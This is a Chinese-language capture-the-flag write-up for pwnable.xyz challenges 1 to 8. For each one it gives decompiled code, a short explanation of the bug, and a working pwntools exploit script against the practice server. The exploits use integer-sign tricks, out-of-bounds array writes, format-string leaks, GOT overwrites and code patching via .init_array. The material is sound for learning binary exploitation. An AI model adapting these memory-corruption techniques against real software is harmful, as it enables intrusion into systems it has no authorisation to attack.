pwnable.xyz 1-8题

1. sub
   注意整数符号
2. misalignment
   注意内存分布为小端序
3. welcome
   注意malloc分配大小有限制，过大返回null，数组指针定位
4. add
   数组偏移写地址
5. grownup
   strcpy时会带入一个\x00，格式化字符串
6. note
   写got表
7. xor
   .init_array段
8. two targets
   如果scanf的地址可控，则可任意地址写

sub

```
_isoc99_scanf("%u %u", &v4, &v5);
if ( v4 <= 4918 && v5 <= 4918 )
{
  if ( v4 - v5 == 4919 )
    system("cat /flag");
}
```

很简单v4=4918,v5=-1即可
注意代码中整数的符号

misalignment

目标触发win函数

```
*(_QWORD *)((char *)v5 + 7) = 0xDEADBEEFLL;
while ( (unsigned int)_isoc99_scanf("%ld %ld %ld", &v6, &v7, &v8) == 3 && v8 <= 9 && v8 >= -7 )
{
  v5[v8 + 6] = v6 + v7;
  printf("Result: %ld\n", v5[v8 + 6]);
}
if ( *(_QWORD *)((char *)v5 + 7) == 0xB000000B5LL )
  win();
```

给一个地址赋值时，注意小端序，0xB000000B5在内存中为
b50000000b

由于是8位一组赋值所以

```
from pwn import *

#p= process("./challenge")
p=remote("svc.pwnable.xyz",30003)

context.log_level='debug'

p.writeline("-5404319552844595200 0 -6")
p.readuntil("Result: ")
p.writeline("184549376 0 -5")
p.readuntil("Result: ")
p.writeline("1 1 1000")
```

```
p.interactive()
```

```
>>> hex(184549376)
'0xb000000'
>>> hex(-5404319552844595200)
'-0x4b00000000000000'
>>> 0xffffffffffffffff-0x4b00000000000000
13042424520864956415L
>>> hex(_)
'0xb4ffffffffffffffL'
>>>
```

welcome

```
puts("Welcome.");
v3 = malloc(0x40000uLL);
*v3 = 1LL;
_printf_chk(1LL, "Leak: %p\n", v3);
_printf_chk(1LL, "Length of your message: ", v4);
size = 0LL;
_isoc99_scanf("%lu", &size);
v5 = (char *)malloc(size);
_printf_chk(1LL, "Enter your message: ", v6);
read(0, v5, size);
v7 = size;
v5[size - 1] = 0;
write(1, v5, v7);
if ( !*v3 )
system("cat /flag");
return 0LL;
```

当malloc一个过大的值时，malloc会返回null，此时v5->0,v5[size-1]=size-1
即可把目标地址覆盖为0

```
from pwn import *

p= process("./challenge")
p=remote("svc.pwnable.xyz",30000)

context.log_level='debug'

p.readuntil(": ")
leak = p.readline()
p.readuntil("message: ")
lens=int(leak,16)+1

p.writeline(str(lens))
p.readuntil("message: ")
p.writeline("A")
p.interactive()
```

add

目标触发win函数

```
  while ( 1 )
  {
    v4 = 0LL;
    v5 = 0LL;
    v6 = 0LL;
    memset(v7, 0, 0x50uLL);
    printf("Input: ", argv, v7);
    if ( (unsigned int)__isoc99_scanf("%ld %ld %ld", &v4, &v5, &v6) != 3 )
      break;
```

```
    v7[v6] = v4 + v5;
    argv = (const char **)v7[v6];
    printf("Result: %ld", argv);
  }
  result = 0;
  __readfsqword(0x28u);
  return result;
}
```

由于v7在栈上 v6可控，于是可以直接修改main的返回地址

```
from pwn import *

#p= process("./challenge")
p=remote("svc.pwnable.xyz",30002)

context.log_level='debug'


#gdb.attach(p,"""
#b printf
#c
#finish
#"""
#)
p.readuntil("Input: ")
p.writeline("4196386 0 13")
p.readuntil("Input: ")
p.writeline("\x00")
p.interactive()
```

0x400822是win函数的返回地址

grownup

flag位置如下

```
.data:000000000060107F                 db    0
.data:0000000000601080                 public flag
.data:0000000000601080 flag            db 'FLAG{_the_real_flag_will_be_here_}',0
.data:0000000000601080 _data           ends
.data:0000000000601080
```

```
  int __cdecl main(int argc, const char **argv, const char **envp)
{
  char *src; // ST08_8
  __int64 buf; // [rsp+10h] [rbp-20h]
  __int64 v6; // [rsp+18h] [rbp-18h]
  unsigned __int64 v7; // [rsp+28h] [rbp-8h]

  v7 = __readfsqword(0x28u);
  setup();
  buf = 0LL;
  v6 = 0LL;
  printf("Are you 18 years or older? [y/N]: ", argv);
  *((_BYTE *)&buf + (signed int)((unsigned __int64)read(0, &buf, 0x10uLL) - 1)) = 0;
  if ( (_BYTE)buf != 'y' && (_BYTE)buf != 'Y' )
    return 0;
  src = (char *)malloc(0x84uLL);
  printf("Name: ", &buf);
```

```
  read(0, src, 0x80uLL);
  strcpy(usr, src);
  printf("Welcome ", src);
  printf(qword_601160, usr);
  return 0;
}
```

最后一行qword_601160作为format

```
  unsigned int setup()
{
  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stdin, 0LL, 2, 0LL);
  signal(14, (__sighandler_t)handler);
  qword_601160 = &byte_601168;
  byte_601168 = '%';
  byte_601169 = 's';
  byte_60116A = '\n';
  return alarm(0x3Cu);
}
```

bss段如下

```
.bss:00000000006010E0 ; char usr[128]
.bss:00000000006010E0 usr             db 80h dup(?)           ; DATA XREF: main+B6↑o
.bss:00000000006010E0                                         ; main+DA↑o
.bss:0000000000601160 ; char *qword_601160
.bss:0000000000601160 qword_601160    dq ?                    ; DATA XREF: setup+58↑w
.bss:0000000000601160                                         ; main+D3↑r
.bss:0000000000601168 byte_601168     db ?                    ; DATA XREF: setup+51↑o
.bss:0000000000601168                                         ; setup+5F↑w
.bss:0000000000601169 byte_601169     db ?                    ; DATA XREF: setup+66↑w
.bss:000000000060116A byte_60116A     db ?                    ; DATA XREF: setup+6D↑w
.bss:000000000060116B                 align 10h
.bss:000000000060116B _bss            ends
.bss:000000000060116B
```

如果把usr写满0x80位，strcpy会多带入一个\x00
将0x601160原本的值0x601168覆盖成0x601100
而0x601100位置是可控的，即可触发格式化字符串漏洞

```
p=remote("svc.pwnable.xyz",30004)
context.log_level='debug'
p.readuntil(": ")
p.write("y\x00\x00\x00\x00\x00\x00\x00"+p64(0x601080))
p.readuntil(": ")
p.writeline("AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAcccccccccccc%x,%x,%x,%x,%x,%x,%x,%x,%s,%x,%xcccccccccccccccccccccccccccc
ccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc")
p.interactive()

利用%x打印栈上的地址，然后由于y的时候能多输入字符，于是打印flag变量地址0x601080
```

note

目标 触发win函数

```
int __cdecl main(int argc, const char **argv, const char **envp)
{
  const char *v3; // rdi
  int v4; // eax

  setup();
  v3 = "Note taking 101.";
  puts("Note taking 101.");
  while ( 1 )
  {
    while ( 1 )
    {
```

```
      while ( 1 )
      {
        print_menu(v3);
        v4 = read_int32(v3, argv);
        if ( v4 != 1 )
          break;
        edit_note();
      }
      if ( v4 != 2 )
        break;
      edit_desc();
    }
    if ( !v4 )
      break;
    v3 = "Invalid";
    puts("Invalid");
  }
  return 0;
}
```

主要是edit_note,edit_desc俩个函数

```
void __fastcall edit_note(__int64 a1, __int64 a2)
{
  int v2; // ST04_4
  void *buf; // ST08_8

  printf("Note len? ");
  v2 = read_int32("Note len? ", a2);
  buf = malloc(v2);
  printf("note: ");
  read(0, buf, v2);
  strncpy(s, (const char *)buf, v2);
  free(buf);
}
```

可以分配任意大小内存给buf，然后赋值给s，显然有个溢出
bss段如下

```
.bss:0000000000601480 ; char s[32]
.bss:0000000000601480 s               db 20h dup(?)           ; DATA XREF: edit_note+67↑o
.bss:00000000006014A0 ; void *buf
.bss:00000000006014A0 buf             dq ?                    ; DATA XREF: edit_desc+4↑r
.bss:00000000006014A0                                         ; edit_desc+1A↑w ...
.bss:00000000006014A0 _bss            ends
.bss:00000000006014A0
```

可以覆盖全局的buf指针

```
ssize_t edit_desc()
{
  if ( !buf )
    buf = malloc(0x20uLL);
  printf("desc: ");
  return read(0, buf, 0x20uLL);
}
```

edit可以给buf指针的位置写20个字节，由于不知道栈地址，直接写got表即可

```
p=remote("svc.pwnable.xyz",30016)
context.log_level='debug'
p.readuntil("> ")
p.writeline("1")
p.readuntil("? ")
p.writeline("1000")
sleep(1)
p.readuntil("note: ")
p.writeline("A"*32+p64(0x601210))
```

```
p.readuntil("> ")
p.writeline("2")
#gdb.attach(p)
p.readuntil("desc: ")
p.write(p64(0x40093c))
p.readuntil("> ")
p.writeline("1")
p.readuntil("? ")
p.writeline("10")
p.readuntil(": ")
p.write("AAA")
p.interactive()
```

xor

目标触发win函数

```
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  int v3; // [rsp+Ch] [rbp-24h]
  __int64 v4; // [rsp+10h] [rbp-20h]
  __int64 v5; // [rsp+18h] [rbp-18h]
  __int64 v6; // [rsp+20h] [rbp-10h]
  unsigned __int64 v7; // [rsp+28h] [rbp-8h]

  v7 = __readfsqword(0x28u);
  puts("The Poopolator");
  setup("The Poopolator", argv);
  while ( 1 )
  {
    v6 = 0LL;
    printf(format);
    v3 = _isoc99_scanf("%ld %ld %ld", &v4, &v5, &v6);
    if ( !v4 || !v5 || !v6 || v6 > 9 || v3 != 3 )
      break;
    result[v6] = v5 ^ v4;
    printf("Result: %ld\n", result[v6]);
  }
  exit(1);
}
```

可以任意地址写，但是got表不可写

LOAD	0000000000000BDF	0000000000000BE0	R	.	X	.	L	byte	0001	public	CODE	64	0000	0000	0010	0000	0000
.eh_frame_hdr	0000000000000BE0	0000000000000C3C	R	.	.	.	L	dword	000A	public	CONST	64	FFFF…	FFFF…	0010	FFFF…	FFFF…
LOAD	0000000000000C3C	0000000000000C40	R	.	X	.	L	byte	0001	public	CODE	64	0000	0000	0010	0000	0000
.eh_frame	0000000000000C40	0000000000000DCC	R	.	.	.	L	qword	000B	public	CONST	64	FFFF…	FFFF…	0010	FFFF…	FFFF…
.init_array	0000000000201D90	0000000000201DA0	R	W	.	.	L	qword	000C	public	DATA	64	FFFF…	FFFF…	0010	FFFF…	FFFF…
.fini_array	0000000000201DA0	0000000000201DA8	R	W	.	.	L	qword	000D	public	DATA	64	FFFF…	FFFF…	0010	FFFF…	FFFF…
.jcr	0000000000201DA8	0000000000201DB0	R	W	.	.	L	qword	000E	public	DATA	64	FFFF…	FFFF…	0010	FFFF…	FFFF…
LOAD	0000000000201DB0	0000000000201F70	R	W	.	.	L	byte	0002	public	DATA	64	0000	0000	0010	0000	0000
.got	0000000000201F70	0000000000202000	R	W	.	.	L	qword	000F	public	DATA	64	FFFF…	FFFF…	0010	FFFF…	FFFF…

在init_array中的函数会在main之前被执行。找到

```
int _do_global_ctors_aux()
{
  _DWORD *addr; // [rsp+8h] [rbp-8h]

  for ( addr = (_DWORD *)((unsigned __int64)_do_global_ctors_aux & 0xFFFFFFFFFFFFF000LL); *addr != 1179403647; addr += 2 )
    ;
  return mprotect(addr, 0x1000uLL, 7);
}
```

代码段被赋予了可写权限于是

```
from pwn import *
result_addr = 0x202200
win_addr = 0xa21

exit_addr =0xac8
```

```
p=process("./challenge")
p=remote("svc.pwnable.xyz",30029)
e = ELF("./challenge")

e.asm(exit_addr,"call "+str(win_addr))
numb = u64(e.read(exit_addr,5).ljust(8,"\x00"))

context.log_level="debug"
p.readuntil("   ")
off= (exit_addr-result_addr)/8
p.sendline("1 "+str(numb)+" "+str(off))
p.sendlineafter("   ","fuck")
p.interactive()
```

two targets

目标触发win函数

```
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  char *v3; // rsi
  const char *v4; // rdi
  signed int v5; // eax
  char s; // [rsp+10h] [rbp-40h]
  __int64 v7; // [rsp+30h] [rbp-20h]
  char *v8; // [rsp+40h] [rbp-10h]
  unsigned __int64 v9; // [rsp+48h] [rbp-8h]

  v9 = __readfsqword(0x28u);
  setup(*(_QWORD *)&argc, argv, envp);
  v3 = 0LL;
  v4 = &s;
  memset(&s, 0, 0x38uLL);
  while ( 1 )
  {
    while ( 1 )
    {
      print_menu(v4, v3);
      v5 = read_int32();
      if ( v5 != 2 )
        break;
      printf("nationality: ");
      v3 = (char *)&v7;
      v4 = "%24s";
      __isoc99_scanf("%24s", &v7);
    }
    if ( v5 > 2 )
    {
      if ( v5 == 3 )
      {
        printf("age: ");
        v3 = v8;
        v4 = "%d";
        __isoc99_scanf("%d", v8);
      }
      else if ( v5 == 4 )
      {
        v4 = &s;
        if ( (unsigned __int8)auth((__int64)&s) )
          win(&s);
      }
      else
      {
LABEL_14:
        v4 = "Invalid";
        puts("Invalid");
      }
```

```
    }
    else
    {
      if ( v5 != 1 )
        goto LABEL_14;
      printf("name: ");
      v3 = &s;
      v4 = "%32s";
      __isoc99_scanf("%32s", &s);
    }
  }
}
```

auth函数的传入的s满足某种条件即可拿到flag。s可控

```
_BOOL8 __fastcall auth(__int64 a1)
{
  signed int i; // [rsp+18h] [rbp-38h]
  char s1[8]; // [rsp+20h] [rbp-30h]
  __int64 v4; // [rsp+28h] [rbp-28h]
  __int64 v5; // [rsp+30h] [rbp-20h]
  __int64 v6; // [rsp+38h] [rbp-18h]
  unsigned __int64 v7; // [rsp+48h] [rbp-8h]

  v7 = __readfsqword(0x28u);
  *(_QWORD *)s1 = 0LL;
  v4 = 0LL;
  v5 = 0LL;
  v6 = 0LL;
  for ( i = 0; (unsigned int)i <= 0x1F; ++i )
    s1[i] = ((*(_BYTE *)(a1 + i) >> 4) | 16 * *(_BYTE *)(a1 + i)) ^ *((_BYTE *)main + i);
  return strncmp(s1, &s2, 0x20uLL) == 0;
}
```

s2的值已知

```
.rodata:0000000000401D28 ; char s2
.rodata:0000000000401D28 s2             db 11h                  ; DAT
.rodata:0000000000401D29                db 0DEh
.rodata:0000000000401D2A                db 0CFh
.rodata:0000000000401D2B                db  10h
.rodata:0000000000401D2C                db 0DFh
.rodata:0000000000401D2D                db  75h ; u
.rodata:0000000000401D2E                db 0BBh
.rodata:0000000000401D2F                db 0A5h
.rodata:0000000000401D30                db  43h ; C
.rodata:0000000000401D31                db  1Eh
.rodata:0000000000401D32                db  9Dh
.rodata:0000000000401D33                db 0C2h
.rodata:0000000000401D34                db 0E3h
.rodata:0000000000401D35                db 0BFh
.rodata:0000000000401D36                db 0F5h
.rodata:0000000000401D37                db 0D6h
.rodata:0000000000401D38                db  96h
.rodata:0000000000401D39                db  7Fh ;
.rodata:0000000000401D3A                db 0BEh
.rodata:0000000000401D3B                db 0B0h
.rodata:0000000000401D3C                db 0BFh
.rodata:0000000000401D3D                db 0B7h
.rodata:0000000000401D3E                db  96h
.rodata:0000000000401D3F                db  1Dh
.rodata:0000000000401D40                db 0A8h
.rodata:0000000000401D41                db 0BBh
.rodata:0000000000401D42                db  0Ah
.rodata:0000000000401D43                db 0D9h
.rodata:0000000000401D44                db 0BFh
.rodata:0000000000401D45                db 0C9h
.rodata:0000000000401D46                db  0Dh
.rodata:0000000000401D47                db 0FFh
.rodata:0000000000401D48                db    0
.rodata:0000000000401D49 ; char aName[]
```

这里可以先把s2转换为数组，然后在hex页面中dump出来即可，main也已知，于是

```
smain="554889E54883EC5064488B0425280000000488945F831C0E824FEFFFF488D45C0"
snow= "11DECF10DF75BBA5431E9DC2E3BFF5D6967FBEB0BFB7961DA8BB0AD9BFC90DFF"
s=""
for i in range(32):
   sbak=hex(int(smain[2*i:2*i+2],16)^int(snow[2*i:2*i+2],16))[2:]
   snew=sbak.rjust(2,"\x00")[::-1]
   s+=snew
s=s.decode("hex")

from pwn import *
context.log_level="debug"
p=process("./challenge")
p=remote("svc.pwnable.xyz",30031)
p.sendlineafter("> ","1")
#gdb.attach(p,"b strncmp")
p.sendafter(": ",s)
p.sendlineafter("> ","4")
p.interactive()
```

这是re的做法。看看怎么pwn。
看2和3的操作，v7,v8俩次scanf于是可以任意地址写
改写got表即可

```
from pwn import *
context.log_level="debug"

strncpy_got=0x00603018
win_addr=0x40099C
#p=process("./challenge")
p=remote("svc.pwnable.xyz",30031)
p.sendlineafter("> ","2")
#gdb.attach(p,"b strncmp")
p.sendlineafter(": ","A"*16+p64(strncpy_got))
p.sendlineafter("> ","3")
p.sendlineafter(": ","4196764")
p.sendlineafter("> ","4")
p.interactive()
```